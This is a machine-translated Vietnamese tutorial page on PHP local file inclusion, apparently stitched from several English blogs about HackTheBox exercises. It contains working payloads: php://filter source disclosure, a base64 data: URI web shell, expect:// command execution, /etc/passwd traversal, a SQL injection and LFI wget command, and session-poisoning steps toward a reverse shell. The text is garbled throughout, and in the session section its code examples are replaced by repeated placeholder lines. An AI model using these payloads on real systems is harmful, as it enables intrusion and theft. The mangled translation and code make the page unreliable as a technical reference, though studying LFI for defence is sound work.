Hướng dẫn php filter convert base64 encode resource - bộ lọc php chuyển đổi tài nguyên mã hóa base64

Ảnh của Émile perron trên unsplash

Bao gồm tệp cục bộ là gì?

Bao gồm tệp cục bộ (LFI) cho phép kẻ tấn công bao gồm các tệp trên máy chủ thông qua trình duyệt web. Lỗ hổng này tồn tại khi một ứng dụng web bao gồm một tệp mà không vệ sinh chính xác đầu vào, cho phép kẻ tấn công thao tác đầu vào và bơm các ký tự đường dẫn và bao gồm các tệp khác từ máy chủ web.

Xác định dễ bị tổn thương

http://localhost/webhacking/PHP-LFI/index.php?page=page2.php

? Trang = page2.php Đây là máy chủ web trung bình bao gồm một số tệp trên máy chủ cục bộ

Ví dụ Mã dễ bị tổn thương

 if (isset($_GET[‘page’]))
{
include $_GET[‘page’];
}
else
{
echo “

This is the front page.

”;
}
?>

Loại trình bao bọc PHP

  • Mong đợi: // ls: Cho phép thực thi các lệnh hệ thống, btw lệnh này không bật mặc định
  • PHP: // Đầu vào: Gửi tải trọng qua phương thức POST trên PHP
  • PHP: // Bộ lọc: Cho phép kẻ tấn công bao gồm tệp cục bộ và mã hóa base64 làm đầu ra
php://filter/convert.base64-encode/resource=index.php

Bộ lọc PHP không có mã hóa Base64

php://filter/resource=flag.txt

Lưu ý: Có thể trình bao bọc PHP có thể được chuỗi nhiều thời gian, ví dụ

php://filter/convert.base64-encode|convert.base64-decode/resource=index.php
  • Dữ liệu: //: Có thể bơm mã PHP bạn muốn thực thi trực tiếp vào URL
1. data:text/plain,
2. data:,&x=ls
3. data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls

Kỹ thuật null byte

Lưu ý: Chỉ trong các phiên bản của PHP dưới 5.3.4, chúng ta có thể chấm dứt với một byte null

?page=../../../etc/passwd%00

bạn có thể dùng "?" Thay vào đó, null byte, điều này có thể thao tác với máy chủ web với việc thêm yêu cầu nhận ở cuối tải trọng

Trong blog trước đây của tôi liên quan đến LFI, tôi đã thảo luận về một số bước cơ bản để đạt được LFI. Bây giờ trong blog này, tôi đang giải thích làm thế nào chúng ta có thể đạt được LFI là có bất kỳ sự lọc đầu vào nào ở phía máy chủ.

AIM: Mục đích của chúng tôi là tìm mật khẩu tài khoản quản trị của trang web. Our aim is to find admin account password of the website.

Có ba tab trong ứng dụng web.

· Nhà

· CV

· Tiếp xúc

Khi chúng tôi nhấp vào tab Home Home, biến Home Travel trong URL với tham số trang. Tương tự…

Hướng dẫn php filter convert base64 encode resource - bộ lọc php chuyển đổi tài nguyên mã hóa base64

Tệp cục bộ bao gồm (LFI) là một cách dễ dàng để kẻ tấn công xem các tệp trên máy chủ không có nghĩa là được xem hoặc truy xuất. Thông qua cài đặt được cấu hình sai trên mã máy chủ hoặc lập trình xấu, kẻ tấn công sẽ có khả năng xem các tệp hệ điều hành cục bộ trong trang web hiện tại.

Trước đây chúng tôi đã bao gồm khai thác tệp địa phương bao gồm trở lại trong bài đăng trên blog 2018 của chúng tôi. Nhưng một trong những trường đại học của chúng tôi đã hỏi câu hỏi sau đây.

Còn bộ lọc PHP thì sao?

Chúng tôi đã không bao gồm các addon và chức năng PHP specfic có thể được sử dụng để tạo điều kiện cho LFI. Vì vậy, chúng tôi nghĩ rằng chúng tôi sẽ giải quyết câu trả lời cho câu hỏi ở đây.

Bộ lọc PHP

Bộ lọc PHP là gì?

Bộ lọc PHP được sử dụng chủ yếu cho:

  • Xác thực dữ liệu = Xác định xem dữ liệu ở dạng thích hợp.
  • Vệ sinh dữ liệu = Xóa bất kỳ ký tự bất hợp pháp nào khỏi dữ liệu.

Tiện ích mở rộng bộ lọc PHP có nhiều chức năng cần thiết để kiểm tra đầu vào của người dùng và được thiết kế để làm cho xác thực dữ liệu dễ dàng và nhanh hơn.

Khai thác bộ lọc PHP

Một ví dụ đơn giản là sử dụng chức năng PHP: //filter/convert.base64-Encode để mã hóa nội dung của một bộ mã nguồn trang. Ví dụ:php://filter/convert.base64-encode function to encode the contents of a page’s source-code. E.g:

  • index.php?file=php://filter/convert.base64-encode/resource=config.php

Khi thành công, trình duyệt nên chứa một chuỗi được mã hóa base64 có thể dễ dàng được giải mã trên dòng lệnh hoặc thông qua cyberchef!

Dưới đây anh ta có một ví dụ từ một trang web CTF có thể truy cập công khai:

Ví dụ về bộ lọc PHP từ HackTheBox (HTB) không được giám sát

Trong ví dụ này, chúng ta cần sửa đổi bộ lọc PHP một chút (PHP: // Filter/Read), vì mã nguồn PHP sẽ cố gắng thực thi mã PHP được bao gồm do câu lệnh bao gồm () trên dòng 97.

  • php://filter/read=convert.base64-encode/resource=

wget "https://www.nestedflanders.htb/index.php?id=587' UNION SELECT \"about' UNION
SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/6fb17817efb4131ae4ae1acae0f7fd48.php' --+\" --+"

Output:

PD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyX25hbWUnXSkpewoJJHVzZXJfbmFtZSA9ICRfU0VTU0lPTlsndXNlcl9uYW1lJ107Cn0KCmZvcmVhY2ggKCRfQ09PS0lFIGFzICRrZXkgPT4gJHZhbCkgewoJJF9TRVNTSU9OWyRrZXldID0gJHZhbDsKfQoKLyogcmVtb3ZlZCBldmVyeXRoaW5nIGJlY2F1c2Ugb2YgdW5kZXJnb2luZyBpbnZlc3RpZ2F0aW9uLCBwbGVhc2UgY2hlY2sgZGV2IGFuZCBzdGFnaW5nICovCg==

Sau đó, chúng tôi có thể giải mã điều này trên dòng lệnh bằng base64 hoặc bạn có thể sử dụng cyberchef:base64 or you could use Cyberchef:

$ echo PD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyX25hbWUnXSkpewoJJHVzZXJfbmFtZSA9ICRfU0VTU0lPTlsndXNlcl9uYW1lJ107Cn0KCmZvcmVhY2ggKCRfQ09PS0lFIGFzICRrZXkgPT4gJHZhbCkgewoJJF9TRVNTSU9OWyRrZXldID0gJHZhbDsKfQoKLyogcmVtb3ZlZCBldmVyeXRoaW5nIGJlY2F1c2Ugb2YgdW5kZXJnb2luZyBpbnZlc3RpZ2F0aW9uLCBwbGVhc2UgY2hlY2sgZGV2IGFuZCBzdGFnaW5nICovCg== | base64 -d
php
session_start();
if (isset($_SESSION['user_name'])){
	$user_name = $_SESSION['user_name'];
}

foreach ($_COOKIE as $key => $val) {
	$_SESSION[$key] = $val;
}
...ommitted...

Như bạn có thể thấy từ đầu ra được giải mã ở trên, lỗ hổng này cho phép chúng tôi truy cập mã nguồn của một trang và có khả năng bỏ qua bí mật của nó: liệu các lỗ hổng bổ sung của nó hoặc có thể là các khóa được mã hóa cứng.

Bao bọc PHP

Một luồng là một đối tượng tài nguyên thể hiện hành vi có thể truyền phát. Đó là, nó có thể được đọc từ hoặc viết thành một cách tuyến tính.

Các nhà phát triển PHP sử dụng trình bao bọc khi ứng dụng của họ yêu cầu các tài nguyên cụ thể, chẳng hạn như hình ảnh hoặc tài liệu.

Ví dụ về trình bao bọc luồng bao gồm: http: //, ftp: //, tệp: //, php: //, phar: //, zip: //.

  • index.pgp?file=expect://command
  • index.php?file=phar://image.phar/shell
  • index.php?file=zip://image.zip#shell

Php Wrapper - Phar & Zip

Để hiểu rõ hơn về trình bao bọc luồng, hãy xem xét sau các dòng sau:

  • File_Get_Contents (Hồi http://example.com/image.jpeg,)
  • file_get_contents (tệp tệp: //../images/image.jpeg,)
  • File_Get_Contents (Hồi Phar: //./archives/app.phar,)

Sử dụng trình bao bọc, bạn có thể gọi cùng một chức năng (File_Get_Contents) để tìm nạp hình ảnh từ vị trí từ xa hoặc từ một thư mục được lưu trữ trên đĩa cục bộ.

Cụ thể, Phar: // Wrapper được sử dụng để tương tác với các tệp Phar. Nó cho phép các hoạt động đọc/ghi khác nhau được thực hiện trên một kho lưu trữ và nó chỉ có thể hoạt động trên các tệp cục bộ.

Khai thác thường yêu cầu chức năng tải lên tệp phải có trong ứng dụng. Nó có thể là một chủ đề phức tạp, và quá phức tạp cho bài đăng trên blog ngắn này.

Nếu bạn muốn đọc thêm về khai thác tuần tự hóa Phar, chúng tôi khuyên bạn nên đọc bài thuyết trình Blackhat này từ năm 2018 bởi Sam Thomas:

  • Đó là một lỗ hổng không rõ ràng của PHP Jim nhưng không như chúng ta biết điều đó

Php Wrapper - mong đợi

Kỳ vọng: // Wrapper không được bật theo mặc định vì nó là một phần mở rộng từ gói PECL (xem xét nó được cài đặt ngay bây giờ). Cú pháp mà nó chấp nhận là:

Hãy xem xét đoạn trích nhỏ này chạy trên phần phụ trợ:

  

include $_GET['page'];  
//..  
?> 

Bây giờ chúng ta có thể chạy các lệnh Linux (mong đợi hợp lệ) khá nhiều thông qua lỗ hổng này. Ví dụ: URL này sẽ trả về người dùng đang chạy:

  • http://example.com/Keeper.php?page=expect://id

Nếu chúng tôi muốn sử dụng điều này trong bối cảnh LFI, URL sẽ trông tương tự như:

  • http://example.com/Keeper.php?page=expect://cat+/etc/passwd

Phiên PHP

Một phương pháp khác để khai thác LFI, trong PHP là tệp phiên PHP. Khi một ứng dụng không dễ bị tổn thương sau:

  • php://filter
  • php://zip
  • php://phar
  • php://protocol

Nhưng phpsessid có mặt, ví dụ:

Thường thì cookie được đặt thành cùng một giá trị trên hệ điều hành hệ điều hành, ví dụ:

Khi nội dung của $ _Session có thể được giả mạo, đôi khi điều đó có nghĩa là một tệp có nội dung có thể kiểm soát có thể bị lạm dụng để tạo shell. Chúng tôi sẽ bao gồm điều này trong thời gian ngắn

Sử dụng LFI Vulnablity so với tệp phiên, chúng ta thường thấy một cái gì đó giống như dữ liệu được tuần tự hóa sau

php://filter/convert.base64-encode/resource=index.php
0

Điều này thường tốt cho việc liệt kê và tùy thuộc vào mã ứng dụng, có thể khai thác thêm thông qua các cuộc tấn công dựa trên/tuần tự hóa.

RCE bằng cách sử dụng các giá trị phiên PHP

Từ ví dụ cuối cùng, tệp phiên có thể được sử dụng để thực hiện mã từ xa (RCE).

Nếu ví dụ ở dạng đăng nhập nơi các tham số tên người dùng và mật khẩu được truyền. Đôi khi chúng ta có thể thử thủ thuật sau để gây ô nhiễm tệp phiên với đầu ra từ một lệnh như vậy:

php://filter/convert.base64-encode/resource=index.php
1

Điều này sẽ dẫn đến một giá trị tùy ý được đặt trong Chỉ thị Cookie Set (và do đó trong tệp phiên):

php://filter/convert.base64-encode/resource=index.php
2

Tệp phiên sau đó có thể chứa nội dung của LFI đi kèm.

CẢNH BÁO: Bạn sẽ cần xóa cookie khỏi mọi yêu cầu tiếp theo, nếu không bạn có nguy cơ ghi đè lại tệp phiên với cookie hợp pháp!: You would need to remove the cookie from any subsequent requests, otherwise you risk overwritting the SESSION file again with the legitimate cookie!

Một ví dụ phiên PHP khác từ HackTheBox (HTB) không được giám sát

Sử dụng hộp HTB không được giám sát, một lần nữa chúng ta có thể chứng minh lỗ hổng này

php://filter/convert.base64-encode/resource=index.php
3

Output:

php://filter/convert.base64-encode/resource=index.php
4

Có nghĩa là nếu chúng ta có thể mã hóa các lệnh vào tiêu đề cookie, chúng ta sẽ thấy đầu ra trong nguồn trang:

php://filter/convert.base64-encode/resource=index.php
5

trong đó nội dung của cookie.txt đã sửa đổi:

php://filter/convert.base64-encode/resource=index.php
6

Phản hồi phải tương tự như:

php://filter/convert.base64-encode/resource=index.php
7

Thành công này, có nghĩa là nó nên tầm thường để sinh ra một vỏ ngược! Chúng tôi để lại điều này như một bài tập cho người đọc. Hoặc đơn giản là đọc các hướng dẫn công khai HTB đã được xuất bản trên Internet.


Chia sẻ:

Bộ lọc PHP Chuyển đổi tài nguyên mã hóa Base64 là gì?

m = php: //filter/convert.base64-encode/resource=index. Điều này buộc PHP đến Base64 mã hóa tệp trước khi nó được sử dụng trong câu lệnh yêu cầu. Từ thời điểm này, vấn đề sau đó giải mã chuỗi Base64 để có được mã nguồn cho các tệp PHP. Đơn giản nhưng hiệu quả ..forces PHP to base64 encode the file before it is used in the require statement. From this point its a matter of then decoding the base64 string to obtain the source code for the PHP files. Simple yet effective..

Môi trường LFI và RFI là gì?

Bao gồm tệp từ xa (RFI) là một loại lỗ hổng thường thấy nhất trên các cổng web chạy PHP phù hợp có trên web và bao gồm tệp cục bộ (LFI) tương tự như RFI, sự khác biệt duy nhất là trong LFI, kẻ tấn công đã được Tải lên các loại kịch bản độc hại.

Lỗ hổng LFI là gì?

Bao gồm tệp từ xa (RFI) và bao gồm tệp cục bộ (LFI) là các lỗ hổng thường được tìm thấy trong các ứng dụng web được viết kém.Các lỗ hổng này xảy ra khi một ứng dụng web cho phép người dùng gửi đầu vào vào các tệp hoặc tải lên các tệp lên máy chủ.vulnerabilities that are often found in poorly-written web applications. These vulnerabilities occur when a web application allows the user to submit input into files or upload files to the server.

Ví dụ LFI là gì?

LFI xảy ra khi một ứng dụng bao gồm một tệp dưới dạng đầu vào của người dùng mà không xác thực đúng.Điều này cho phép kẻ tấn công bao gồm các tệp độc hại bằng cách thao tác đầu vào.Dưới đây là một ví dụ về mã PHP dễ bị tổn thương có thể dẫn đến LFI: https://example.com/?page=filename.php.https://example.com/?page=filename.php.